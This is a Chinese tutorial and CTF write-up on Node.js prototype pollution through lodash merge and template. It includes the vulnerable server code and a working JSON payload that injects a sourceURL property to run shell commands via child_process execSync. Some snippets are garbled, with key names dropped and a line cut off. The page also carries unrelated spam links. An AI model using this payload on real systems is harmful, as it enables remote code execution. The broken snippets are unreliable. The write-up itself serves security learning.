当前位置:首页 > 网络黑客 > 正文内容

Node.js原型链污染的利用

访客4年前 (2021-04-09)网络黑客689

0x00 前言

前面的一篇文章中我主要介绍了JavaScript中类和原型的概念,以及简单介绍了什么是原型链以及如何污染,这篇文章,我将介绍在什么情况下原型链会被污染,以及通过ctf题来展示实际场景中如何去利用原型链污染。

0x01 哪些情况下原型链会被污染

上一篇文章我们讲了去修改一个对象的原型中的属性,去影响到新实例化出来的对象,使其带上了我们给对象原型添加的属性,这就是原型链污染,那么在实际应用中哪些情况会存在原型链被污染的可能呢?

我们回想一下在之前介绍JavaScript中对象的时候说过在JavaScript中对象就是键值对的集,并且我们试验过这样一段代码:

var obj={ ? ?"name": "ErDogQAQ", ? ?"team": "ATL" } ? console.log(obj.name); console.log(obj.team); console.log(obj);


发现了对象中存在一个名为的键,而他就指向他构造函数的原型,我们后面也通过这样修改这个键的值的方式造成了原型链污染,呢么我们也就有思路了,只要找到那些我们能够控制数组(也就是对象)的键名的操作,我们就可以通过修改键名为并控制它的值的方式来造成原型链污染。

在实际中能够进行这种参数的函数一般有:

  • 对象合并(merge);

  • 对象克隆(clone)(本质还是将一个对象合并到空对象中)

我们以合并为例,先搞一个merge函数:

function merge(target, source) { ? ?for (let key in source) { ? ? ? ?if (key in source && key in target) { ? ? ? ? ? ?merge(target[key], source[key]) ? ? ? } else { ? ? ? ? ? ?target[key]=source[key] ? ? ? } ? } }

在合并的过程中存在赋值的操作:那么我们将key改为是不是就可以原型链污染了呢?我们用代码来实验一下:

let o1={} let o2={a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3={} console.log(o3.b) console.log(o2)


可以看到,合并确实成功了,o1本来是空对象,现在已经有了属性a和b,但是原型链并没有被污染,新构造的对象o3并没有带上我们预想的属性b。

我们来分析一下原因,随后查看对象o2发现,在我们创建o2的时候,已将代表了o2的原型,此时去遍历o2的所有键名拿到的值是[a,b],而并没有作为键名被赋值,所以我们并没有修改Object的原型。

那么我们如何才能让被认为是一个键名呢?答案是利用JSON解析。

我们修改一下代码:

let o1={} let o2=JSON.parse(' console.log(o3.b) console.log(o2)


可以看到这次新建的o3对象已经带上了b属性,说明Object已经被污染,同样我们看o2对象时也可以看到,也被认为是一个键名了。

这是因为,JSON解析的情况下,会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

下面我们就开始结合ctf中的题目进行实际分析。

0x02 搭建调试环境

通常在ctf中原型链污染的题目都会直接给出源码,并且源码通常都比较长,直接去看并不能很好的理解代码,所以需要本地搭建一个环境来方便我们本地尝试以及动态调试。

这里以Code-Breaking 2018的Thejs这一题为例。

下载node.js:

这个就不多解释了直接去官网下载并安装就可以了。

安装完后直接在cmd下输入node命令就可以像python一样进入命令交互模式了。

下载源码:

https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web

安装依赖包:

在cmd中进入源码所在的目录,然后直接执行命令就可以自动安装所需的依赖包了。

安装完后可以看到他提示我们发现了4个漏洞,可以运行进行修复,或运行获取详细信息。

这里我们就运行看一下详细信息:

可以看到它告诉我们在这个包中有4个原型污染漏洞,这正是我们需要利用的地方所以一会我们就着重看与相关的代码就可以了。(注意这里版本是4.17.4,在新版本中漏洞已经被修复)

调试:

这里我使用VS Code 进行调试,打开VS Code后点击打开文件夹,打开源码所在目录,打开server.js然后点击左边的运行/调试按钮,点击创建 launch.json 文件,选择环境为node.js

然后就会自动在目录下生成一个.vscode文件夹里面有一个launch.json文件,检查是否为,没有问题直接点击启动程序就能够正常启动或者断点调试了。

0x03 尝试解题

我们先看一下题目源码:

const fs=require('fs') const express=require('express') const bodyParser=require('body-parser') const lodash=require('lodash') const session=require('express-session') const randomize=require('randomatic') const app=express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content)=> { if (err) return callback(new Error(err)) let compiled=lodash.template(content) let rendered=compiled({...options}) return callback(null, rendered) }) }) app.set('views', 'https://www.freebuf.com/articles/web/views') app.set('view engine', 'ejs') app.all('/', (req, res)=> { let data=req.session.data || {language: [], category: []} if (req.method=='POST') { data=lodash.merge(data, req.body) req.session.data=data } res.render('index', { language: data.language, category: data.category }) }) app.listen(3000, ()=> console.log(`Example app listening on port 3000!`))

刚才已经知道了lodash包中有反序列化漏洞,所以我们着重看与lodash相关的代码和我们上传数据的地方就可以了。

...... const lodash=require('lodash') ...... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content)=> { if (err) return callback(new Error(err)) let compiled=lodash.template(content) let rendered=compiled({...options}) return callback(null, rendered) }) }) ...... app.all('/', (req, res)=> { let data=req.session.data || {language: [], category: []} if (req.method=='POST') { data=lodash.merge(data, req.body) req.session.data=data } res.render('index', { language: data.language, category: data.category }) })

我们可以看到与lodash相关的代码有两句:

let compiled=lodash.template(content) data=lodash.merge(data, req.body)

查询官方文档后知道

的作用:

简单理解就是一个简单的模板引擎,会将content内容放进模板渲染。

的作用:

这个不用多解释,就是我们日思夜想的对象合并函数了,能够污染原型链的十有八九就是这里了。

那么我们就来试试是否真的能够污染原型链:

我们在代码中下好断点,然后提交参数。

● ?if (req.method=='POST') { ? ? ? ? ? //在这里下断点 ? ? ? ?data=lodash.merge(data, req.body) ? ? ? ?req.session.data=data ? }

这里还需要注意,直接提交是不能造成原型链污染的,因为我们之前也试过了,只有在JSON解析的情况下才会被认为是一个键名,才能够造成原型链污染。那么我们如何才能让我们传入的参数按照JSON解析呢?

这里我们在代码中看到题目使用的是框架,而框架支持根据来解析请求Body,所以我们只需要将改为即可。

我们提交一个参数:看看到底会不会造成原型链污染:

提交后我们将代码步过到merge函数处理之后:

可以看到经过merge函数处理data的原型也就是Object中果然带上了A属性,证明了此处存在原型链污染漏洞。

那么我们现在找到了能够污染原型链的地方,接下来就要想想如何利用了,我们又想起了函数的官方文档中写了可以使用进行调试,那我们就跟进函数看看:

// Use a sourceURL for easier debugging. var sourceURL='sourceURL' in options ? '//# sourceURL=' + options.sourceURL + ' ' : ''; ...... var result=attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });

可以看到先是判断中是否有属性,如果有就进行拼接,没有则为空,然后将这个值拼接进的第二个参数。

那么我们现在就有思路了,我们可以利用原型链污染,给Object中插入一个属性,当执行到中时,判断中原本是没有的,但是因为JavaScript的查找机制会一直向上查找,查到Object中时找到了,然后就会拼接进造成任意代码执行。

有了攻击思路,那么我们就来构造payload测试:

{"__proto__":{"sourceURL": " return e=> { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')} // "}}


提交后我们还是回来看调试信息:

可以看到经过merge函数处理,Object中已经带上了属性,我们到函数时步入在看看能否获取到属性:

在这里步入:

可以看到这里有值说明这里成功获取到了属性,那么我们最后看一下执行结果:

可以看到,成功执行了命令。到此我们就进行了一次完整的原型链污染利用。

0x04 结尾

两篇文章自己觉得还是比较完整的介绍了原型链污染的学习过程,文章很大基础是在大佬文章的基础上进行细化,对于完全没有基础的萌新稍微友好了那么一内内,只能说原理感觉并不难,难点在于如何去分析去利用,大佬还是强呀,自我感觉如果没有大佬的文章以及payload,光凭自己估计知道了存在漏洞也不知道如何去利用,还是要向大佬多多学习。

参考文章:

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://paper.seebug.org/755/?

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/106116.html

分享给朋友:

“Node.js原型链污染的利用” 的相关文章

华流年京东618怎么个便宜法

京东618年中大促作为京东活动力度最大的一个购物节,自然是受到很多人关注的,有些小伙伴一早就想好要在京东618上面买什么东西了,还有些小伙伴连今年京东618怎么个便宜法都不知道,下面就由百思特小编来给大家说说吧! 2020京东618便宜多少...

网咖加盟店排行榜(网吧加盟有什么牌子)

杰拉,网咖的话有网鱼、现在年轻人都喜欢看动漫,而网咖可以做到吃喝玩乐于一体,会业务人员跟你联系,连锁加盟要看品牌的影响力和运营能力,其实武汉的网咖还是蛮多的,有直营店。 这是选择加盟模式非常重要的地方,http/wgoldenkccn/网吧showneasp?NewsID=158网吧连锁的管理方案简...

我老公老是让他家的亲戚来我家,我该怎么办?请各位帮我想想办法,我

我老公老是让他家的亲戚来我家,我该怎么办?请各位帮我想想办法,我 请各位帮我想想办法,开网店怎么找女装货源唔爱神起助您成就财富人生,想做微商?想开实体店?想开淘宝店?什么才是你创业的最重要步骤?货源!想在微商卖童装母婴用品纸尿裤女装,开童装女装店铺,你去哪里找最好的货源?如何找童装女装一手货源呢?...

威海海景房价格 - 威海银滩海景房崩盘

他们都觉得环境空气很好,很高兴,较为不银滩习惯。大多数房子都是海景房有装修的,最好有私家车。 我家刚在威海石岛买了海景房但是前几天看新闻,我在09年买了房子,今年夏天在乳山住了十来天,质量怎样比较宽泛,央视关于海景房的报道,建议您到威海市区看看,这个要看你考虑哪个方面,每个楼盘都会有区别。 在海边,...

崔鹏(足球)个人资料简介(简历及图片)

崔鹏(足球)人物概况 本页面提供了崔鹏(足球)个人资料简介(简历及图片),崔鹏(足球)是谁?崔鹏(足球)个人简介资料完整设计了网页求职找工作编辑个人简历作品所需要的崔鹏(足球)网站常用模板元素,不保证崔鹏(足球)人物数据真实,任何问题请联系管理员调整。 崔鹏(足球)图片 崔鹏(足球)个人资料简...

不锈钢水箱制作厂家(小型家用储水箱不锈钢

福瑞达不锈钢水箱厂,产品外形美观,不锈钢水箱按用途可以分为生活水箱和,采用进口食品级304不锈钢材料制作而成,农村,宝汇不锈钢水箱,比较满意,金诚铭不锈钢水箱,比较满意,现在对生活水箱不是很清楚的了解. 有很多的水箱,安装快,含镍量、生产基地位于江西省南昌英雄城。1-9000T水箱都能定做。 此类水...

评论列表

晴枙拒梦
3年前 (2022-07-05)

let data=req.session.data || {language: [], category: []} if (req.method=='POST') { data=lodash.merge(data, req.body)

痴妓蓝殇
3年前 (2022-07-05)

ry: data.category })})app.listen(3000, ()=> console.log(`Example app listening on port 3000!`))刚才已

慵吋私野
3年前 (2022-07-05)

dash相关的代码和我们上传数据的地方就可以了。......const lodash=require('lodash')......app.engine('ejs', function (filePath, options, callback) { // define the templat

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。